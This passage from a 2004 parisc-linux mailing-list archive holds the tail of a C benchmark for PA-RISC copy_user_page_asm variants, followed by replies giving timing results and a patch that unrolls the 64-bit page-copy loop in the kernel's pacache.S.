"	std		%%r19, 64(%1)\n"
"	std		%%r20, 72(%1)\n"
"	std		%%r21, 80(%1)\n"
"	std		%%r22, 88(%1)\n"
"	ldd		96(%0), %%r19\n"
"	ldd		104(%0), %%r20\n"
"	ldd		112(%0), %%r21\n"
"	ldd		120(%0), %%r22\n"
"	std		%%r19, 96(%1)\n"
"	std		%%r20, 104(%1)\n"
"	std		%%r21, 112(%1)\n"
"	std		%%r22, 120(%1)\n"
"	ldo		128(%1), %1\n"
"	addib,>		-1, %%r1, 1b\n"
"	ldo		128(%0), %0"
#else	/* V1 */
"	ldd		32(%0), %%r19\n"
"	ldd		40(%0), %%r20\n"
"	std		%%r21, 16(%1)\n"
"	std		%%r22, 24(%1)\n"
"	ldd		48(%0), %%r21\n"
"	ldd		56(%0), %%r22\n"
"	std		%%r19, 32(%1)\n"
"	std		%%r20, 40(%1)\n"
"	ldd		64(%0), %%r19\n"
"	ldd		72(%0), %%r20\n"
"	std		%%r21, 48(%1)\n"
"	std		%%r22, 56(%1)\n"
"	ldd		80(%0), %%r21\n"
"	ldd		88(%0), %%r22\n"
"	std		%%r19, 64(%1)\n"
"	std		%%r20, 72(%1)\n"
"	ldd		96(%0), %%r19\n"
"	ldd		104(%0), %%r20\n"
"	std		%%r21, 80(%1)\n"
"	std		%%r22, 88(%1)\n"
"	ldd		112(%0), %%r21\n"
"	ldd		120(%0), %%r22\n"
"	std		%%r19, 96(%1)\n"
"	std		%%r20, 104(%1)\n"
"	ldo		128(%0), %0\n"
"	std		%%r21, 112(%1)\n"
"	std		%%r22, 120(%1)\n"
"	addib,>		-1, %%r1, 1b\n"
"	ldo		128(%1), %1"
#endif	/* V1 */

#endif	/* 0 */

#else	/* !__LP64__ */

asm volatile ("ldi		64, %%r1\n"
"1:	ldw		0(%0), %%r19\n"
"	ldw		4(%0), %%r20\n"
"	ldw		8(%0), %%r21\n"
"	ldw		12(%0), %%r22\n"
"	stw		%%r19, 0(%1)\n"
"	stw		%%r20, 4(%1)\n"
"	stw		%%r21, 8(%1)\n"
"	stw		%%r22, 12(%1)\n"
"	ldw		16(%0), %%r19\n"
"	ldw		20(%0), %%r20\n"
"	ldw		24(%0), %%r21\n"
"	ldw		28(%0), %%r22\n"
"	stw		%%r19, 16(%1)\n"
"	stw		%%r20, 20(%1)\n"
"	stw		%%r21, 24(%1)\n"
"	stw		%%r22, 28(%1)\n"
"	ldw		32(%0), %%r19\n"
"	ldw		36(%0), %%r20\n"
"	ldw		40(%0), %%r21\n"
"	ldw		44(%0), %%r22\n"
"	stw		%%r19, 32(%1)\n"
"	stw		%%r20, 36(%1)\n"
"	stw		%%r21, 40(%1)\n"
"	stw		%%r22, 44(%1)\n"
"	ldw		48(%0), %%r19\n"
"	ldw		52(%0), %%r20\n"
"	ldw		56(%0), %%r21\n"
"	ldw		60(%0), %%r22\n"
"	stw		%%r19, 48(%1)\n"
"	stw		%%r20, 52(%1)\n"
"	stw		%%r21, 56(%1)\n"
"	stw		%%r22, 60(%1)\n"
"	ldo		64(%1), %1\n"
"	addib,>		-1, %%r1, 1b\n"
"	ldo		64(%0), %0"
#endif	/* __LP64__ */
	:	=09
	: "r"(__from), "r"(__to) );
}

/*=20
#define	INIT	1
#define	DEBUG	1
 */

#define BUFFSIZE	(1024*1024*256)
#define PPB		(BUFFSIZE/PAGE_SIZE)	/* Pages Per Buff */


int main(int argc, char * * argv, char * * env)
{
	char MemSrc[] =3D "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyzA=
BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUV=
WXYZabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopq=
rstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyzABCDEFGHIJKL=
MNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZabcdefg=
hijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyzAB=
CDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVW=
XYZabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqr=
stuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLM=
NOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZabcdefgh=
ijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyzABC=
DEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWX=
YZabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrs=
tuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMN=
OPQRSTUVWXYZabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghi=
jklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyzABCD=
EFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXY=
ZabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrst=
uvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNO=
PQRSTUVWXYZabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghij=
klmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyzABCDE=
FGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ=
abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstu=
vwxyzABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOP=
QRSTUVWXYZabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijk=
lmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyzABCDEF=
GHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZa=
bcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuv=
wxyzABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQ=
RSTUVWXYZabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijkl=
mnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyzABCDEFG=
HIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZab=
cdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvw=
xyzABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQR=
STUVWXYZabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklm=
nopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyzABCDEFGH=
IJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZabc=
defghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwx=
yzABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRS=
TUVWXYZabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmn=
opqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyzABCDEFGHI=
JKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZabcd=
efghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxy=
zABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRST=
UVWXYZabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmno=
pqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyzABCDEFGHIJ=
KLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZabcde=
fghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz=
ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTU=
VWXYZabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnop=
qrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyzABCDEFGHIJK=
LMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZabcdef=
ghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyzA=
BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUV=
WXYZabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopq=
rstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyzABCDEFGHIJKL=
MNOPQRSTUVWXYZabcdefghijklmn" ;

	char *MemDst;
	int i, j, k;


	MemDst =3D malloc(BUFFSIZE);
	for (j =3D 0; j < PPB ; j++) {
		__copy_user_page_asm(MemDst+(j*PAGE_SIZE), MemSrc);
	}

	MemDst[BUFFSIZE] =3D '\0';

#if DEBUG
/*
	printf("MemDst =3D %s\n", MemDst);
 */
	for (i=3D0; i<BUFFSIZE; i++) {
		printf("MemDst[%d] =3D %c\n", i, MemDst[i]);
	}
#endif
	return 0;
}


--------------090506050100010806040901
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
--------------090506050100010806040901--



From - Thu Nov 08 21:32:49 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: copy_user_page_asm suggested 64bit improvment
	(Test case)
Date: Tue, 28 Dec 2004 22:46:55 -0700
Lines: 139
Approved: news@gmane.org
Message-ID: <20041229054655.GB11816@colo.lackof.org>
References: <418A80E8000124B5@mail-6-bnl.tiscali.it>
	<20041227073654.GI29492@colo.lackof.org>
	<41D18909.9060308@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623632 12069 80.91.229.3 (22 Nov 2014 02:33:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:33:52 +0000 (UTC)
Cc: parisc-linux <parisc-linux@lists.parisc-linux.org>
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: - Wed Jul 02 21:27:16 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 29 Dec 2004 05:50:15 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx012) with SMTP; 29 Dec 2004 06:50:15 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 8E3A83BE68; Tue, 28 Dec 2004 22:50:13 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 08578-05; Tue, 28 Dec 2004 22:50:13 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id E1ACC3BE69; Tue, 28 Dec 2004 22:49:50 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2BFAD3BE66
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 28 Dec 2004 22:49:45 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 08578-02 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 28 Dec 2004 22:49:44 -0700 (MST)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id 02A353BE63
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 28 Dec 2004 22:49:43 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id 3E178298059; Tue, 28 Dec 2004 22:49:43 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 15547-07; Tue, 28 Dec 2004 22:46:55 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 625B3298056; Tue, 28 Dec 2004 22:46:55 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <41D18909.9060308@tiscali.be>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22229

On Tue, Dec 28, 2004 at 04:25:45PM +0000, Joel Soete wrote:
> A test case may can help better to show improvement:
> 
> gcc -O2 -o cpup0 cpup0.c
> gcc -march=2.0 -O2 -DLP64 -o cpup1 cpup0.c
> gcc -march=2.0 -O2 -DLP64 -DV1 -o cpup2 cpup0.c
> gcc -march=2.0 -O2 -DLP64 -DV2 -o cpup3 cpup0.c

As usual, I've hacked the cpup.c test.
Don't compare my results below with the previous ones Joel posted.
I've committed my version of cpup.c to "build-tools" repository.

grundler <549>for j in 1 2 3 4 5 ; do echo -n $j " " ; for i in 0 1 2 3; do time ./cpup$i ; done 2>&1 | fgrep user | cut -f2 ; done

and globbed the output a bit so it looks like a table:
#   cpup0    cpup1    cpup2    cpup3
1  0m1.033s 0m0.616s 0m0.607s 0m0.616s
2  0m1.039s 0m0.651s 0m0.587s 0m0.589s
3  0m1.004s 0m0.605s 0m0.631s 0m0.613s
4  0m1.015s 0m0.615s 0m0.572s 0m0.592s
5  0m1.014s 0m0.619s 0m0.564s 0m0.607s

Results are not statistically significant between 64-bit variants.
Results are from 2.6.10-rc3-pa6 SMP 64-bit kernel on a500-65 w/8G RAM
that was running a compile in the background.

cpupX columns above are defined by the following:
/*
** gcc -O2 -o cpup0 cpup.c             vanilla 32-bit loop
**      -march=2.0 -DLP64 -o cpup1      64-bit, 4ld + 4st sequences
**      -march=2.0 -DLP64 -DV1 -o cpup2 64-bit, 4regs, 2ld/2st bundles
**      -march=2.0 -DLP64 -DUSE6REGS -o cpup3 64-bit, 6 regs, 2ld/2st bundles
*/

And I'm wondering how/if 64-bit user space test ever worked since we don't
officially support 64-bit user space.
Likely I'm copying trash around even though the pointers are probably intact.

cpup2 is what I'd like to commit for the kernel version.
I've appended the patch.

I was expecting cpup3 would be slightly faster but don't have data
to prove it. And I'm still worried that GR23/GR24 won't be saved
by the caller since the __copy_user_page_asm function prototype
only specifies two arguments.

thanks,
grant


Index: arch/parisc/kernel/pacache.S
===================================================================
RCS file: /var/cvs/linux-2.6/arch/parisc/kernel/pacache.S,v
retrieving revision 1.13
diff -u -p -r1.13 pacache.S
--- arch/parisc/kernel/pacache.S	19 Dec 2004 04:50:35 -0000	1.13
+++ arch/parisc/kernel/pacache.S	29 Dec 2004 05:37:46 -0000
@@ -295,17 +295,72 @@ copy_user_page_asm:
 	.callinfo NO_CALLS
 	.entry
 
-	ldi		64, %r1
+#ifdef __LP64__
+	/* PA8x00 CPUs can consume 2 loads and 2 stores per cycle.
+	 * Unroll the loop by hand and arrange insn appropriately.
+	 * GCC probably can do this just as well.
+	 *
+	 * Prefetching and using more regs to increase the "distance"
+	 * between ldd and corresponding std are possible optimizations.
+	 */
+
+	ldi		32, %r1                 /* PAGE_SIZE/128 == 32 */
+
+1:	ldd		0(%r25), %r19		/* prolog == 1 bundle */
+	ldd		8(%r25), %r20
+
+	ldd		16(%r25), %r21		/* bundle 2 */
+	ldd		24(%r25), %r22
+	std		%r19, 0(%r26)
+	std		%r20, 8(%r26)
+
+	ldd		32(%r25), %r19		/* bundle 3 */
+	ldd		40(%r25), %r20
+	std		%r21, 16(%r26)
+	std		%r22, 24(%r26)
+
+	ldd		48(%r25), %r21		/* bundle 4 */
+	ldd		56(%r25), %r22
+	std		%r19, 32(%r26)
+	std		%r20, 40(%r26)
+
+	ldd		64(%r25), %r19		/* bundle 5 */
+	ldd		72(%r25), %r20
+	std		%r21, 48(%r26)
+	std		%r22, 56(%r26)
+
+	ldd		80(%r25), %r21		/* bundle 6 */
+	ldd		88(%r25), %r22
+	std		%r19, 64(%r26)
+	std		%r20, 72(%r26)
+
+	ldd		 96(%r25), %r19		/* bundle 7 */
+	ldd		104(%r25), %r20
+	std		%r21, 80(%r26)
+	std		%r22, 88(%r26)
+
+	ldd		112(%r25), %r21		/* bundle 8 */
+	ldd		120(%r25), %r22
+	std		%r19, 96(%r26)
+	std		%r20, 104(%r26)
+
+	ldo		128(%r25), %r25		/* epilog == 2 bundles */
+	std		%r21, 112(%r26)
+	std		%r22, 120(%r26)
+
+	ADDIB>		-1, %r1, 1b
+	ldo		128(%r26), %r26
+
+#else
 
 	/*
 	 * This loop is optimized for PCXL/PCXL2 ldw/ldw and stw/stw
-	 * bundles (very restricted rules for bundling). It probably
-	 * does OK on PCXU and better, but we could do better with
-	 * ldd/std instructions. Note that until (if) we start saving
+	 * bundles (very restricted rules for bundling).
+	 * Note that until (if) we start saving
 	 * the full 64 bit register values on interrupt, we can't
 	 * use ldd/std on a 32 bit kernel.
 	 */
-
+	ldi		64, %r1		/* PAGE_SIZE/64 == 64 */
 
 1:
 	ldw		0(%r25), %r19
@@ -343,7 +398,7 @@ copy_user_page_asm:
 	ldo		64(%r26), %r26
 	ADDIB>		-1, %r1, 1b
 	ldo		64(%r25), %r25

From - Thu Nov 08 21:32:49 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: copy_user_page_asm suggested 64bit improvment
	(Test case)
Date: Wed, 29 Dec 2004 11:36:44 +0000
Lines: 40
Approved: news@gmane.org
Message-ID: <41D296CC.2040108@tiscali.be>
References: <418A80E8000124B5@mail-6-bnl.tiscali.it>
	<20041227073654.GI29492@colo.lackof.org>
	<41D18909.9060308@tiscali.be>
	<20041229054655.GB11816@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623632 12071 80.91.229.3 (22 Nov 2014 02:33:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:33:52 +0000 (UTC)
Cc: parisc-linux <parisc-linux@lists.parisc-linux.org>
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:16 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 29 Dec 2004 11:37:25 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx058) with SMTP; 29 Dec 2004 12:37:25 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 704703BE51; Wed, 29 Dec 2004 04:37:22 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 11865-01; Wed, 29 Dec 2004 04:37:21 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 635AF3BE56; Wed, 29 Dec 2004 04:36:55 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C93FA3BE51
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 29 Dec 2004 04:36:49 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 11053-10 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 29 Dec 2004 04:36:49 -0700 (MST)
Original-Received: from spoolo1.tiscali.be (spoolo1.tiscali.be [62.235.13.172])
	by free.linux.hp.com (Postfix) with ESMTP id 998713BE4A
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 29 Dec 2004 04:36:48 -0700 (MST)
Original-Received: from [83.134.227.210] (helo=[83.134.227.210])
	by spoolo1.tiscali.be with esmtp (Tiscali.be http://www.tiscali.be)
	id 1Cjc8F-0000ZU-AG; Wed, 29 Dec 2004 12:36:47 +0100
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US;
	rv:1.7.3) Gecko/20041007 Debian/1.7.3-5
X-Accept-Language: en
In-Reply-To: <20041229054655.GB11816@colo.lackof.org>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22230



Grant Grundler wrote:
> On Tue, Dec 28, 2004 at 04:25:45PM +0000, Joel Soete wrote:
[...]
> 
> As usual, I've hacked the cpup.c test.
Cool ;-)

> Don't compare my results below with the previous ones Joel posted.
> I've committed my version of cpup.c to "build-tools" repository.
>
Thanks

[...]
> 
> cpup2 is what I'd like to commit for the kernel version.
> I've appended the patch.
> 
Nice

> I was expecting cpup3 would be slightly faster but don't have data
> to prove it.
Don't know where can we find L1-Cache state diagram to help more?

> And I'm still worried that GR23/GR24 won't be saved
> by the caller since the __copy_user_page_asm function prototype
> only specifies two arguments.
> 
> thanks,
> grant
> 
Thanks for your attention,
	Joel
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: copy_user_page_asm suggested 64bit improvment [Was:
	[parisc-linux]	clear user page test]
Date: Thu, 30 Dec 2004 01:10:34 -0700
Lines: 31
Approved: news@gmane.org
Message-ID: <20041230081034.GD31297@colo.lackof.org>
References: <418A80E8000124B5@mail-6-bnl.tiscali.it>
	<20041227073654.GI29492@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623632 12073 80.91.229.3 (22 Nov 2014 02:33:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:33:52 +0000 (UTC)
Cc: parisc-linux <parisc-linux@lists.parisc-linux.org>
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: - Wed Jul 02 21:27:16 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 30 Dec 2004 08:13:24 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx038) with SMTP; 30 Dec 2004 09:13:24 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 7B4353BE56; Thu, 30 Dec 2004 01:13:22 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 23491-05; Thu, 30 Dec 2004 01:13:20 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 9E4D43BE57; Thu, 30 Dec 2004 01:12:57 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 44BF33BE51
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 30 Dec 2004 01:12:44 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 23337-04 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 30 Dec 2004 01:12:43 -0700 (MST)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id 410573BE48
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 30 Dec 2004 01:12:43 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id 8E188298056; Thu, 30 Dec 2004 01:12:42 -0700 (MST)
